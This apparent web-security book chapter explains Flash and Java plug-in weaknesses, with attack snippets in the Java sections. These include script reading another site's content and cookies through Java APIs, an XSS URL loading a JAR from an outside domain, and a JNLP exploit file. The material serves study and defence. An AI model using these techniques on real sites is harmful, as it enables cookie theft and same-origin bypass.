Like it or not, plug-ins are a big factor in Web security today, not only because they are frequently full of vulnerabilities, endangering users even if they use a safe browser but also because they extend the functionality of the browser. In this section, we focus on some of the more popular plug-ins.
They, in some way promote innovation, developing the features that developers required to make richer web applications. And since the basic web technology standards stayed unchanged for a very long time, and adding features that worked in all browsers was seldom, web developers started using more and more technologies like Flash and Java, which are cross-browser and new features were more frequent.
The flash plug-in
“The Matrix was written in Flash?! So that's why it's so buggy, crashes regularly, and 3 yr old hackers can escape its sandbox.”
16Flash is a very popular plug-in and it is present on most computers. Several Web sites are made completely in Flash, and it provides a full stack of new extensions to the normal security model of the Web. In the following sections, we briefly discuss the Flash security model.
Loading movies
In Flash, when you want to load a movie or an image you use the AS2 (Action Script 2) LoadMovie method or the AS3 (Action Script 3) Loader.load method. Both methods load images and other SWF movies, which can result in several security problems.
For example, say we want to configure the background of a Flash movie, and the movie will be receiving the URL of the image we want to set as the background from a query string. A naive attempt to implement this would be to simply use a Loader and add the element to the scene. However, if the URL happens to be a SWF file, an attacker could execute code in the context of a victim's Web site.
Whether the attacker is able to carry out his attack depends on the setting of the allowScriptAccess argument of the EMBED tag which controls whether the movie can call JavaScript's code.
This argument can have one of the following options:
The never argument means the movie would never have access to JavaScript, the sameDomain argument means it would only have access if it is in the same domain, and the always argument means it would always have access independent of the location of the SWF file.
The Security.allowDomain API
Although access to cross-domain resources is defined by the crossdomain.xml policy file (explained earlier in this chapter in the section “The crossdomain.xml File”), there is an exception to this rule. When the loaded content is a SWF movie, it is actually governed by a different security model, based on sandboxes.
A sandbox in the AS3 world restricts the resources a SWF file can fetch, the APIs it can call, and its communication with other SWF files. When one movie is loaded inside another movie, both could opt in to communicate in several ways, either with LocalConnection, with SharedEvents, or more importantly, by allowing other domains to access them.
Security.allowDomain and Security.allowInsecureDomain are the two APIs in Flash that create a bridge between one domain and another. The only difference between the two APIs is that allowInsecureDomain is used when one SWF file in HTTPS tries to communicate with another that was served in HTTP. When you call one of these methods, you should send as an argument the host name you want to allow, not as a normal origin (as a scheme + host + port combination), but simply as a host name. This host name will now have complete and unrestricted access to the domain hosting the SWF file.
This could be considered harmful, especially if a Web administrator added a crossdomain.xml policy file disabling other policy files with:
<site-control permitted-cross-domain-policies = “none”/>
Although Adobe's documentation makes it appear as though such a policy would not allow an attacker to get access to the domain, this is not the case with Security.allowDomain.
Since Security.allowDomain is an API call, it has nothing to do with crossdomain.xml files, and if an application in a domain makes an overly permissive call, it will allow an attacker to bypass the crossdomain.xml policies rather simply.
If the code in the affected domain calls Security.allowDomain(“*”), and the reference to a loader object is available in some way, it may be possible for an attacker to get a reference to it and fetch resources cross-domain.
Although this attack requires the victim to call security.allowDomain(“*”), this is a very common behavior that is used frequently to allow interaction between JavaScript and Flash.
Arbitrary HTTP headers
A good example of how a plug-in-independent security policy affects existing browser security is Flash and 307 redirects, discovered and reported to Adobe by Alex “kuza55” K in early 2008 at the Microsoft BlueHat security conference in his presentation “Web Browsers and Other Mistakes,” and rediscovered years later by a few other people. The 307 redirect is a special type of redirect that instructs the browser to forward a request without modifying it. For instance, if a request contains extra HTTP headers or a POST body, a 307 redirect instructs the browser to forward the request exactly as it appears.
This creates a security problem, as we can see in
Figure 10.3. Assuming Site A is allowed to receive the
X-Forward-Port-To HTTP header via a crossdomain.xml file (or because it is a same-origin request), Flash will create an HTTP request to the browser with the
X-Forward-Port-To HTTP header to Site A. Then the browser will make this request, and as a response, Site A will instruct the browser to do a 307 redirect to Site B (which Flash does not control anymore), and the browser will resend the same request, including the custom HTTP header. This is quite dangerous for some security-sensitive applications, such as sites that depend on custom HTTP headers for XSRF protection and custom HTTP protocols that use HTTP headers to set up home routers (via uPNP).
This is a hard problem to solve, mainly because it's a design error. Flash tried to extend the browser's SOP in an authoritative and custom way, without browser support, and it ended up breaking the browser's security policy. The chances of depreciating crossdomain.xml are slim; however, hopefully the use of plug-ins may be reduced in the future in favor of more standard compliant alternatives.
The Java Plug-in
Java is the second most popular browser plug-in in the world,
17 with reported support of between 70% and 85% (in contrast to the 98% to 99% support of Adobe Flash Player). The main difference between the Java and Flash plug-ins is that Java has been around since 1994 or 1995, and even predates JavaScript's first appearance on the Web (September 1995), while Macromedia Flash Player made it first appearance in late 1996.
The Java security model was made under assumptions that may have been true in 1995, but are definitely not true anymore. Probably the most important difference between the browser's security model and the Java security model is that Java considers that each IP address represents the basic structure of trust. This means that if a Web site serves an applet, the code running in that applet will have access to all the content in the Web server, even if the host name is different. In contrast, SOP defines that code can only access resources in the same scheme + host name + port.
This difference has not changed. Java applets still have access to content in the same IP address from where they were served, and this still differs from the common security model of the Web. This gap can be abused to create attacks that, even though they have been possible for more than a decade and are done by design, affecting from 70% to 85% of users, are mostly ignored.
One could say that even though the Flash security model is quite different from the browser's, Adobe has been working to try to not create security vulnerabilities. This, however, has not been the case with Java, and in some cases, one could argue that Java has even created new vulnerabilities with each new version.
Another very important fact to consider is that uploading .jar or .class files to a Web server is not the only way to force Java to execute code in the context of the domain. An attacker can actually access the Java API from the browser using JavaScript. This is done via the Packages global variable in Gecko-based browsers, and the Packages property in AppletNode in browsers that use NPAPI controls for Java.
Here is a simple example of how to call Java's APIs from JavaScript:
<applet code=“Heart” codebase=“http://www.google.com” id=“anyApplet”/>
window.onload = function(){
if(navigator.userAgent.match(/Firefox/)){
var _p = Packages; // In Gecko based browsers, we don't need an applet
var _p = document.getElementById(“anyApplet”).Packages;
_p.javax.swing.JOptionPane.showMessageDialog (null,“Hello World”);
The preceding script should have created a new small dialog with the “Hello World” string in it, in the same way we would access the rest of the Java API, including the flawed networking API. This means Java is an effective way to completely bypass the existing SOP in the browser, not only from plug-ins but also from common JavaScript code.
The only safe way to deal with this problem is to uninstall Java, which apparently has been an increasingly popular practice among organizations, but has not been completely possible because of obscure intranet and banking applications that use Java as a core module. And unless Java changes its security design, keeping Java installed will be increasingly dangerous for all users.
Attacking shared hosting with Java
Shared hosting has become quite popular for being cheap and accessible to the majority of people. Even when getting a dedicated or virtual machine, in several cases it ends up sharing its IP address with other customers because of the increasing lack of IPv4 addresses.
Although this does not affect major sensitive Web sites such as banks, or popular Web services, it does seriously affect small and medium-size Web sites, and most cloud hosting services where hosting an application in a setup where an IP address is shared allows all Web sites to access each other's content.
In some shared hosting Web sites you are still allowed to open ports, so even if we do not take Java into consideration, you may simply open another port and listen for HTTP connections there.
When you do that, assuming attacker.com and victim.com are hosted in the same server, you could simply open port 8337 for HTTP requests and then point your victim to
http://victim.com: 8337/cpanel, that would send you the cookies of the victim.
Probably the most problematic issue in Java is that it will automatically append HTTP cookies to a request (if present), and will also allow the site to add any number of extra HTTP headers, such as Authentication headers or similar. This cross-domain access is available from all networking APIs in Java. Suppose Site A and Site B are both hosted in the same IP address. The following code will allow Site A to read the authenticated contents of Site B:
var url = new Packages.java.net.URL(“http://siteB/secret.txt”);
conn = url.openConnection();
ist = new Packages.java.io.DataInputStream(conn.getInputStream());
while((line = ist.readLine())! = null){
Several possible solutions, such as denying access from Java's
User-Agent, are useless in this case. Because it is trivial to modify the
User-Agent HTTP header, there are few ways to identify whether a request is coming from Java or from a normal browser, except maybe HTTP-only cookies, which browsers normally don't leak to Java applets.
Although browsers usually don't leak HTTP-only cookies to plug-ins, this was not the case with Safari, where an applet got easy access to its cookies.
Opera 10.0 used to have a similar problem with the TRACE HTTP method. However, this problem was resolved when Opera 10.5 started to use NPAPI Java control.
This was made public by LeverOne in the sla.ckers.org forums
18 in early 2010.
Java-based cross-site scripting
When we talk about cross-site scripting the attack usually involves adding code that will be executed as HTML. However, in this section we talk about adding Java bytecode, or a JAR file, into an existing document and making Java load it.
This attack can be quite powerful, since it could bypass most existing cross-site scripting filters. However, in this case we will encounter several problems that do not exist in normal cross-site scripting attacks, such as Unicode validation/normalization, that could affect the success of the attack.
Let us start with an example URL of
http://tinyurl.com/26ojecp. This URL will send us to our testing environment, with a simple cross-site script to the domain 0x.lv (also ours). This attack exploits a Web site that returns exactly what we pass it through the URL. It is not a common case but it does happen.
The complete URL looks like this:
http://eaea.sirdarckcat.net/xss.php?html_xss = %3Capplet%20cod
e = %22Lolz%22%20archive = %22http://0x.lv/xss.php?plain_xss = PK%
It mostly consists of a double cross-site script. In the first part, we insert HTML via cross-site scripting (being an applet). This is not the attack; the attack comes in the content of the HTML that is inserted, where we do the following:
<applet code=“Lolz” archive=“http://0x.lv/xss.php?plain_xss=PK….%00”>
We removed the content of the cross-site script to save space (visiting the tinyurl would give you the complete PoC). The content in
http://0x.lv/xss.php?plain_xss= is actually the content of a JAR file. We include a JAR file and not a class file because the class file will not load if there is a syntax error (which is not the case in the JAR example).
In reality, injecting a JAR into a Web site just requires us to be able to inject null bytes, which may be problematic (since null bytes are usually invalid chars in certain charsets, and some code may simply strip them out).
If we can inject arbitrary null bytes and we can control content in a Web site that appears in the last 256 chars of the site, we can conduct the attack.
Consider a Web page with the following code:
<head><title>Pet store</title</head>
Sorry, but we don't have any more {{search_query|escape}}
Because our content is in the last 256 chars of the HTML content, we can actually send an HTTP query that includes a JAR file, which we can include from our own Web site later, and access all content in the pet store (and all content in any IP address where the pet store is hosted).
This attack's limitations, such as being able to inject null bytes in the last 256 bytes, has proven to be more challenging than it looks at first glance. Using URL shorteners to perform the JAR-inclusion attack has been useful to prevent browsers from double-encoding content.
So, to prevent this type of attack, Web sites only accept valid UTF-8 encoded content (note that UTF-16 allows null bytes) or other charsets that disallow null bytes. There are other cases we need to take care of while conducting this attack, such as the fact that the content can only be reflected once; if the JAR is echoed two or more times, Java will consider it invalid. Also, the length of the URL should not exceed the Web server's limit (or Java's limit).
Java and crossdomain.xml files
In the “Origin” section, we talked about how Java seems to introduce new security vulnerabilities on each version shipped. To clarify that discussion, this section describes one of the new features introduced in Java SE 6.10: support for crossdomain.xml files.
As we saw in the section “The crossdomain.xml File,” crossdomain.xml files are a way to enable cross-domain communication, since unsigned Java applets do not have permission to make requests to resources outside the IP address on which they were served. However, this limitation can be bypassed with the use of crossdomain.xml files.
19The big problem of crossdomain.xml files is that in Java, they are a lot more powerful than in Flash or Silverlight (the other two plug-ins that supports them). Java reportedly supports a subset of the crossdomain.xml capabilities: It only allows access if the only rule in the file is a global wildcard, such as:
<!DOCTYPE cross-domain-policy SYSTEM “http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd”>
<allow-access-from domain = “*”/>
This limited support attempted to only allow Java to make cross-domain requests to Web sites where it was already possible to make them globally.
Although at first glance this does not seem to introduce a security problem, when we review the implementation we can see several problems. First, neither Flash nor Silverlight allows the application to access the request cookies, something that Java does allow. Second, Flash requires specific HTTP header whitelists to allow us to send custom HTTP headers. And third, Java's policies do not respect site-control-permitted cross-domain policies.
It is a general practice that if a Web site, such as
www.pictures.com, provides its users the ability to log in, its cookie is set to the complete domain (pictures.com). It is also a common practice to provide APIs in a subdomain which would not serve any authenticated content, such as api.pictures.com. Although this is safe in Flash and Silverlight, it is not safe in Java, as an attacker can actually read the cookies.
To read the cookies of HTTP requests in Java, the
getRequestProperty method of the
HTTPUrlConnection class is used, which will return the HTTP header set in the request.
url = new Packages.java.net.URL(“http://api.pictures.com/”);
conn = url.openConnection();
conn.getRequestProperty(“Cookie”);
This attack would allow an attacker to compromise the cookies of pictures.com, which would not be possible in Flash or Silverlight.
The attack can be further expanded, up to the case of using custom locations of crossdomain.xml files. This is abusing the fact that the security mechanisms introduced by Flash to protect against some security attacks are not supported by Java. One of those security mechanisms is the permitted-cross-domain policies of the
site-control element in the domain's root crossdomain.xml file.
Adobe's
site-control element in the crossdomain.xml files is present in the Web site's top crossdomain.xml file and specifies several settings for the Web site:
• Flash will request the domain before parsing any other cross-domain files.
• One of the rules specified is permitted-cross-domain-policies, which defines which type of cross-domain policies are accepted.
• If the value is by-content-type, Flash Player will only serve content if the content-type of the crossdomain.xml file is text/x-cross-domain-policy.
This technique is used by Web sites that occasionally serve user-supplied content with harmless content types (such as a text/plain or content-disposition: attachment).
Since Java does not respect permitted-cross-domain policies and permits cross-domain policies to be loaded even if they were returned with “Content-Disposition: attachment,” existing Web sites leveraging this technique to protect themselves are insufficient, allowing an attacker to simply use Java instead of Flash/Silverlight.
To instruct Java to fetch a crossdomain.xml file from a different location, Java provides developers with a system property called
altCrossDomainXMLFiles20 which will instruct Java to look in that location for cross-domain policy files.
LeverOne posted in the antichat.ru forums
21 a way to set the
system property using JNLP files.
22 Instead of referring to an applet, the user would point to a
jnlp resource in the following way:
<param name = “jnlp_href” value = “file.jnlp”>
The
file.jnlp would contain:
<title>Custom CrossDomain.XML Exploit</title>
<vendor>Javacalypse</vendor>
<jar href = “Exploit.jar”/>
<j2se version = “1.2+” java-vm-args = “-Djnlp.altCrossDomainXMLFiles =http://victim.com/crossdomain.xml”/>
name = “crossdomainexploit”
This would instruct the browser to load a JAR file called Exploit.jar, and for the code inside it to look for crossdomain.xml files in victim.com/crossdomain.xml. One could specify more alternative locations by separating them with commas.
Several other flaws exist in the implementation of cross-domain communication in Java, but finding them is left as an exercise for the reader. A possible way to protect against this attack could be to forbid the return of user-controlled data if “Java” is found in the User-Agent string of an HTTP request, since attackers can't control HTTP headers of requests that load applets or cross-domain policy files.
DNS rebinding and the Java same IP policy
In early 2010, Stefano Di Paola
23 reported to Oracle a vulnerability that could compromise the security of all Java runtime environment users. It involves making a DNS rebinding attack together with Java's Same IP policy.
The DNS rebinding attack works as follows. When the browser requests a Web site (e.g.,
www.example.net) it will make a DNS request trying to determine which IP address
www.example.net resolves to—say, 10.1.1.2.
The browser will then connect to that IP address, fetch the information requested via HTTP, and execute the code in the context of that host name (
www.example.net).
A tool is available that makes it easy to create DNS rebinding attacks. The tool is called Rebind, and it is available at:
This tool allows an attacker to easily remap IP addresses with a simple-to-use API.
Once we do this, we can call Java objects from JavaScript (with the NPAPI bridge we described in the “Attacking Shared Hosting with Java” section). When we do an external request, Java will make a new DNS request to determine in which IP address the code is running.
The attacker can detect when it receives a second DNS request, and in that case can reply with another IP address. Since Java makes this new DNS request to exclusively define the security policy, an attacker can return its victim's IP address (e.g., 172.16.8.4); thus, Java will run the code, assuming it is running under 172.16.8.4.
This attack would permit an attacker to make authenticated (with cookies) requests to any server, since the IP rebinding attack is trivial. This vulnerability is quite serious and similar attacks have been known to exist for a very long time. However, the fact that Java was affected was not studied until recently.
At the time of this writing, the latest Java version is vulnerable to this attack, so to receive information about an expected time frame for a fix to the vulnerability, please contact Oracle at
security@oracle.com. Oracle was informed of this vulnerability in April 2010.
Java can be trivially downgraded with markup language, so even if you upgrade Java to its latest version, you may still be vulnerable if you have an older version installed.
To be fully protected, be sure to have uninstalled all versions of Java except for the latest version (some of the vulnerabilities described in this book may not have been fixed yet).
In addition to this vulnerability, Stefano also found other remote code execution bugs, as well as universal SOP bypasses. The authors of this book also found some others which Oracle has been notified about as well. We believe that having Java installed is one of the biggest risks Web users have today because of Java Run Time Environment's previous record of inefficient security patches, the extreme simplicity to find problems which usually have been known to affect other plug-ins (but have been fixed for years now), the extremely slow patching cycles and update reach, and the fact that Java is installed by the majority of Web-enabled users.